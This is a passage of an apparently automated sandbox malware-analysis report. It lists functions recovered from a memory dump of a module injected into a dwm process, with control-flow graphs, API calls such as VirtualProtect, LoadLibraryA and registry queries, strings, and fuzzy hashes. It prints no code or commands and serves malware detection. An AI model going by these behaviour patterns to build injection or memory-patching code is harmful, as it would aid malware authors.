                                                                control_flow_graph 131 1d15b0550d0-1d15b0550fc 132 1d15b0550fe-1d15b055106 131->132 133 1d15b05510d-1d15b055116 131->133 132->133 134 1d15b055118-1d15b055120 133->134 135 1d15b055127-1d15b055130 133->135 134->135 136 1d15b055132-1d15b05513a 135->136 137 1d15b055141-1d15b05514a 135->137 136->137 138 1d15b055156-1d15b055161 GetCurrentThreadId 137->138 139 1d15b05514c-1d15b055151 137->139 141 1d15b055163-1d15b055168 138->141 142 1d15b05516d-1d15b055174 138->142 140 1d15b0556d3-1d15b0556da 139->140 141->140 143 1d15b055176-1d15b05517c 142->143 144 1d15b055181-1d15b05518a 142->144 143->140 145 1d15b055196-1d15b0551a2 144->145 146 1d15b05518c-1d15b055191 144->146 147 1d15b0551a4-1d15b0551c9 145->147 148 1d15b0551ce-1d15b055225 call 1d15b0556e0 * 2 145->148 146->140 147->140 153 1d15b055227-1d15b05522e 148->153 154 1d15b05523a-1d15b055243 148->154 155 1d15b055236 153->155 156 1d15b055230 153->156 157 1d15b055255-1d15b05525e 154->157 158 1d15b055245-1d15b055252 154->158 155->154 160 1d15b0552a6-1d15b0552aa 155->160 159 1d15b0552b0-1d15b0552b6 156->159 161 1d15b055273-1d15b055298 call 1d15b057870 157->161 162 1d15b055260-1d15b055270 157->162 158->157 163 1d15b0552e5-1d15b0552eb 159->163 164 1d15b0552b8-1d15b0552d4 call 1d15b054390 159->164 160->159 171 1d15b05529e 161->171 172 1d15b05532d-1d15b055342 call 1d15b053cc0 161->172 162->161 168 1d15b055315-1d15b055328 163->168 169 1d15b0552ed-1d15b05530c call 1d15b0578ac 163->169 164->163 174 1d15b0552d6-1d15b0552de 164->174 168->140 169->168 171->160 178 1d15b055351-1d15b05535a 172->178 179 1d15b055344-1d15b05534c 172->179 174->163 180 1d15b05536c-1d15b0553ba call 1d15b058c60 178->180 181 1d15b05535c-1d15b055369 178->181 179->160 184 1d15b0553c2-1d15b0553ca 180->184 181->180 185 1d15b0554d7-1d15b0554df 184->185 186 1d15b0553d0-1d15b0554bb call 1d15b057440 184->186 188 1d15b0554e1-1d15b0554f4 call 1d15b054590 185->188 189 1d15b055523-1d15b05552b 185->189 197 1d15b0554bd 186->197 198 1d15b0554bf-1d15b0554ce call 1d15b054060 186->198 200 1d15b0554f6 188->200 201 1d15b0554f8-1d15b055521 188->201 190 1d15b055537-1d15b055546 189->190 191 1d15b05552d-1d15b055535 189->191 195 1d15b055548 190->195 196 1d15b05554f 190->196 191->190 194 1d15b055554-1d15b055561 191->194 203 1d15b055564-1d15b0555b9 call 1d15b0585c0 194->203 204 1d15b055563 194->204 195->196 196->194 197->185 207 1d15b0554d2 198->207 208 1d15b0554d0 198->208 200->189 201->185 210 1d15b0555c8-1d15b055661 call 1d15b054510 call 1d15b054470 VirtualProtect 203->210 211 1d15b0555bb-1d15b0555c3 203->211 204->203 207->184 208->185 216 1d15b055671-1d15b0556d1 210->216 217 1d15b055663-1d15b055668 GetLastError 210->217 216->140 217->216
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread
                                                                • String ID:
                                                                • API String ID: 2882836952-0
                                                                • Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                                                • Instruction ID: 814b77f5beb435c6111204c18b1e3a4860eb85996b284ed82dffff6edcea16b7
                                                                • Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                                                • Instruction Fuzzy Hash: 2B02A736219B84A6EB60CB95F59439AB7B1F3C6794F104116EA8E87FA8DB7CD444CF00
                                                                Function 000001D15B0539E0 Relevance: 4.6, APIs: 3, Instructions: 64memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Virtual$AllocQuery
                                                                • String ID:
                                                                • API String ID: 31662377-0
                                                                • Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                                                • Instruction ID: ced44ef17f0db0bb718ac059701f314b0347c0d2a53f6dbc804350dc0ff2bc41
                                                                • Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                                                • Instruction Fuzzy Hash: 6E31FD32219A84B1EA309A95F15539AA6B4F3CA784F100666A5CE46FE8DF7CC5808F44
                                                                Function 000001D15B05328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                                                • String ID:
                                                                • API String ID: 1683269324-0
                                                                • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction ID: 50dc774867e8dfa9d8c37b66f0b4b16705396407e2ef4eaaa7b484beffb59f76
                                                                • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction Fuzzy Hash: 66118471A14641B2FB609BE1FB057EA62B4BBD7344F604327A947429E1EF7CC448CE50
                                                                Function 000001D15B054DF0 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CacheCurrentFlushInstructionProcessProtectVirtual
                                                                • String ID:
                                                                • API String ID: 3733156554-0
                                                                • Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                                                • Instruction ID: 0faaa23e0f904dfa1ddc0926a435f5f889b881ff10e9e97893eb0f9948e1e464
                                                                • Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                                                • Instruction Fuzzy Hash: 49F0F436218A04A0D6609B81F58139EABB0F3C9BD4F140212AA8E03BA9CA3CC6808F40
                                                                Function 000001D15B02273C Relevance: 3.2, APIs: 2, Instructions: 187memorylibraryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 265 1d15b02273c-1d15b0227a4 call 1d15b0229d4 * 4 274 1d15b0229b2 265->274 275 1d15b0227aa-1d15b0227ad 265->275 276 1d15b0229b4-1d15b0229d0 274->276 275->274 277 1d15b0227b3-1d15b0227b6 275->277 277->274 278 1d15b0227bc-1d15b0227bf 277->278 278->274 279 1d15b0227c5-1d15b0227e6 VirtualAlloc 278->279 279->274 280 1d15b0227ec-1d15b02280c 279->280 281 1d15b022838-1d15b02283f 280->281 282 1d15b02280e-1d15b022836 280->282 283 1d15b022845-1d15b022852 281->283 284 1d15b0228df-1d15b0228e6 281->284 282->281 282->282 283->284 287 1d15b022858-1d15b02286a LoadLibraryA 283->287 285 1d15b022992-1d15b0229b0 284->285 286 1d15b0228ec-1d15b022901 284->286 285->276 286->285 288 1d15b022907 286->288 289 1d15b02286c-1d15b022878 287->289 290 1d15b0228ca-1d15b0228d2 287->290 291 1d15b02290d-1d15b022921 288->291 292 1d15b0228c5-1d15b0228c8 289->292 290->287 293 1d15b0228d4-1d15b0228d9 290->293 295 1d15b022923-1d15b022934 291->295 296 1d15b022982-1d15b02298c 291->296 292->290 297 1d15b02287a-1d15b02287d 292->297 293->284 299 1d15b022936-1d15b02293d 295->299 300 1d15b02293f-1d15b022943 295->300 296->285 296->291 301 1d15b0228a7-1d15b0228b7 297->301 302 1d15b02287f-1d15b0228a5 297->302 303 1d15b022970-1d15b022980 299->303 304 1d15b022945-1d15b02294b 300->304 305 1d15b02294d-1d15b022951 300->305 306 1d15b0228ba-1d15b0228c1 301->306 302->306 303->295 303->296 304->303 307 1d15b022963-1d15b022967 305->307 308 1d15b022953-1d15b022961 305->308 306->292 307->303 310 1d15b022969-1d15b02296c 307->310 308->303 310->303
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: AllocLibraryLoadVirtual
                                                                • String ID:
                                                                • API String ID: 3550616410-0
                                                                • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction ID: 087d175382f514eff4c17cffcd7d102e3ed53db243fcc03e8d623e766f1c7aec
                                                                • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction Fuzzy Hash: B9613472B01294A7DB54CF95E2017ADF3B2F795BA4F588222CE5907788DE3CD856CB00
                                                                Function 000001D15B051ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                  • Part of subcall function 000001D15B051628: GetProcessHeap.KERNEL32 ref: 000001D15B051633
                                                                  • Part of subcall function 000001D15B051628: HeapAlloc.KERNEL32 ref: 000001D15B051642
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B0516B2
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B0516DF
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0516F9
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051719
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B051734
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051754
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B05176F
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B05178F
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0517AA
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B0517CA
                                                                • Sleep.KERNEL32 ref: 000001D15B051AD7
                                                                • SleepEx.KERNEL32 ref: 000001D15B051ADD
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0517E5
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051805
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B051820
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B051840
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B05185B
                                                                  • Part of subcall function 000001D15B051628: RegOpenKeyExW.ADVAPI32 ref: 000001D15B05187B
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B051896
                                                                  • Part of subcall function 000001D15B051628: RegCloseKey.ADVAPI32 ref: 000001D15B0518A0
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CloseOpen$HeapSleep$AllocProcess
                                                                • String ID:
                                                                • API String ID: 1534210851-0
                                                                • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction ID: 2a2945939bc26b6d2dc204ab69198a0ad90a4bbefdeb596e6ab9371a97732843
                                                                • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction Fuzzy Hash: 1C31DD75200645B2FF509BA6FB413E963B4BBC6FC0F2456239E4A87AD5FE2CC851CA11

                                                                Non-executed Functions

                                                                Function 000001D15B0512BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                                                • String ID: d
                                                                • API String ID: 2005889112-2564639436
                                                                • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction ID: c96a7a718f4b285f698c519ddf9aecd0f938f7f332536690a7c5e347f0db06fa
                                                                • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction Fuzzy Hash: D7513D36604B84A6EB54CFA2F6443DA77B1F7CAB95F144225DA4947B68EF3CC045CB40
                                                                Function 000001D15B026910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 415 1d15b026910-1d15b026916 416 1d15b026951-1d15b02695b 415->416 417 1d15b026918-1d15b02691b 415->417 420 1d15b026a78-1d15b026a8d 416->420 418 1d15b026945-1d15b026984 call 1d15b026fc0 417->418 419 1d15b02691d-1d15b026920 417->419 438 1d15b026a52 418->438 439 1d15b02698a-1d15b02699f call 1d15b026e54 418->439 421 1d15b026922-1d15b026925 419->421 422 1d15b026938 __scrt_dllmain_crt_thread_attach 419->422 423 1d15b026a9c-1d15b026ab6 call 1d15b026e54 420->423 424 1d15b026a8f 420->424 426 1d15b026931-1d15b026936 call 1d15b026f04 421->426 427 1d15b026927-1d15b026930 421->427 430 1d15b02693d-1d15b026944 422->430 436 1d15b026ab8-1d15b026aed call 1d15b026f7c call 1d15b026e1c call 1d15b027318 call 1d15b027130 call 1d15b027154 call 1d15b026fac 423->436 437 1d15b026aef-1d15b026b20 call 1d15b027190 423->437 428 1d15b026a91-1d15b026a9b 424->428 426->430 436->428 449 1d15b026b31-1d15b026b37 437->449 450 1d15b026b22-1d15b026b28 437->450 442 1d15b026a54-1d15b026a69 438->442 447 1d15b0269a5-1d15b0269b6 call 1d15b026ec4 439->447 448 1d15b026a6a-1d15b026a77 call 1d15b027190 439->448 465 1d15b026a07-1d15b026a11 call 1d15b027130 447->465 466 1d15b0269b8-1d15b0269dc call 1d15b0272dc call 1d15b026e0c call 1d15b026e38 call 1d15b02ac0c 447->466 448->420 454 1d15b026b39-1d15b026b43 449->454 455 1d15b026b7e-1d15b026b94 call 1d15b02268c 449->455 450->449 453 1d15b026b2a-1d15b026b2c 450->453 461 1d15b026c1f-1d15b026c2c 453->461 462 1d15b026b45-1d15b026b4d 454->462 463 1d15b026b4f-1d15b026b5d call 1d15b035780 454->463 474 1d15b026b96-1d15b026b98 455->474 475 1d15b026bcc-1d15b026bce 455->475 468 1d15b026b63-1d15b026b78 call 1d15b026910 462->468 463->468 484 1d15b026c15-1d15b026c1d 463->484 465->438 488 1d15b026a13-1d15b026a1f call 1d15b027180 465->488 466->465 518 1d15b0269de-1d15b0269e5 __scrt_dllmain_after_initialize_c 466->518 468->455 468->484 474->475 481 1d15b026b9a-1d15b026bbc call 1d15b02268c call 1d15b026a78 474->481 482 1d15b026bd5-1d15b026bea call 1d15b026910 475->482 483 1d15b026bd0-1d15b026bd3 475->483 481->475 512 1d15b026bbe-1d15b026bc6 call 1d15b035780 481->512 482->484 497 1d15b026bec-1d15b026bf6 482->497 483->482 483->484 484->461 505 1d15b026a21-1d15b026a2b call 1d15b027098 488->505 506 1d15b026a45-1d15b026a50 488->506 502 1d15b026c01-1d15b026c11 call 1d15b035780 497->502 503 1d15b026bf8-1d15b026bff 497->503 502->484 503->484 505->506 517 1d15b026a2d-1d15b026a3b 505->517 506->442 512->475 517->506 518->465 519 1d15b0269e7-1d15b026a04 call 1d15b02abc8 518->519 519->465
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                                                • API String ID: 190073905-1786718095
                                                                • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction ID: c48615c2872fe2d84c55442eef3a7a0df3761c2b86b2b9cbda2a46f31679f584
                                                                • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction Fuzzy Hash: 11818E31601241B6FA54ABE5F7413EAA2B0BBC7780F5483679A09577A6EF3DC84D8F00
                                                                Function 000001D15B029944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                                                • String ID: csm$csm$csm
                                                                • API String ID: 849930591-393685449
                                                                • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction ID: 2c53cabe739962215c097d98e21bddabd0943ecca1529318a82ebef907014f86
                                                                • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                                                • Instruction Fuzzy Hash: 2EE18072604740AAFF60DFA5E6813DDB7B0F786798F504226EE8957B55CB38C499CB00
                                                                Function 000001D15B052F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID: dialer
                                                                • API String ID: 756756679-3528709123
                                                                • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction ID: 97f997c12409b34ceb798f425df53f1968643669e46be52c980ecc3634201710
                                                                • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                                                • Instruction Fuzzy Hash: 87319032701B51B2EA14CF96FA407A977B0FB86B80F0842329E4947B95EF3CC4618B00
                                                                Function 000001D15B0536C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                                                • String ID:
                                                                • API String ID: 449555515-0
                                                                • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction ID: bfa79d6b72dc2b03214b0c71d68d76599a302ce302c4d8f5de8811166a35e48a
                                                                • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                                                • Instruction Fuzzy Hash: 83016D74611B44B2FB249FA1F90879673B0FB86B82F140626CD4A077A4EF3CC5488F00
                                                                Function 000001D15B033504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: _set_statfp
                                                                • String ID:
                                                                • API String ID: 1156100317-0
                                                                • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction ID: db4c87bd8f3b4e95e6d0b8afa5517babab6fb46bc901e8013d4bd613b2bd5c27
                                                                • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                                                • Instruction Fuzzy Hash: 2B117733616A5135FA9415ECF7DE3EB11A17BDB3B4F48472AA9660A6D6CA2CC8414F00
                                                                Function 000001D15B02F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: _invalid_parameter_noinfo
                                                                • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                                                • API String ID: 3215553584-4202648911
                                                                • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction ID: 9fefa7c41e2f244d866e2d47b15fa83e051a44b3bd10779d9e1e7edc85728231
                                                                • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                                                • Instruction Fuzzy Hash: 22618176600A4472FA699BE9F7443EAA6B0F7C77D0F944717CA0A177A5DA3CC84D8B00
                                                                Function 000001D15B02A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                • String ID: csm$csm
                                                                • API String ID: 3896166516-3733052814
                                                                • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction ID: 07249e7f2c9a4f13475646e1707aad459b9268ac02c1e5ef9ec1ab8eabb25742
                                                                • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                                                • Instruction Fuzzy Hash: EF515D32100390BAEB648B95E644399B7B0F396B94F585317EA9987BD5CF3CD459CF00
                                                                Function 000001D15B028405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction ID: a0abb39a5f597679a5d04ac262c44c4928865831701e3b79b00c5b782e5611f0
                                                                • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction Fuzzy Hash: 8151A13A601710B7EB14CB55F644BB9B7B5FB96B98F548226DA0643788FB3CC8498F04
                                                                Function 000001D15B0283E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction ID: 8376e9a04a45bedad1c3a46296c3e08709d48111e5eea7f4b7c1c65b611847d2
                                                                • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction Fuzzy Hash: 2031B135201750B6EB14DF51F9447AAB7B4FB86B88F158216EE5A03784DB3CC944CB04
                                                                Function 000001D15B029E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
                                                                • API ID: CallTranslator
                                                                • String ID: MOC$RCC
                                                                • API String ID: 3163161869-2084237596
                                                                • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction ID: 263b2b8a6b8af0d67ad9b7b0dce5e54127d5bd25d9f42bbd4c7a61c8631824e2
                                                                • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction Fuzzy Hash: 06619F37600B84AAEB24DFA5E5803DDB7B0F785B88F044216EF4917B99DB38D199CB00
                                                                Function 000001D15B0626F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448099725.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b050000_dwm.jbxd
                                                                Similarity
                                                                • API ID: ErrorFileLastWrite
                                                                • String ID: U
                                                                • API String ID: 442123175-4171548499
                                                                • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction ID: 0c81fe06ac8b69024cde43953864501d491a3a488173308e40205612be40c325
                                                                • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction Fuzzy Hash: 5F41A232615A80A6EB209F65F9447EAA7B0F799794F508222EE4D87794DF3CC541CB40
                                                                Function 000001D15B027356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000043.00000002.3448025840.000001D15B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B020000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_67_2_1d15b020000_dwm.jbxd
                                                                Similarity
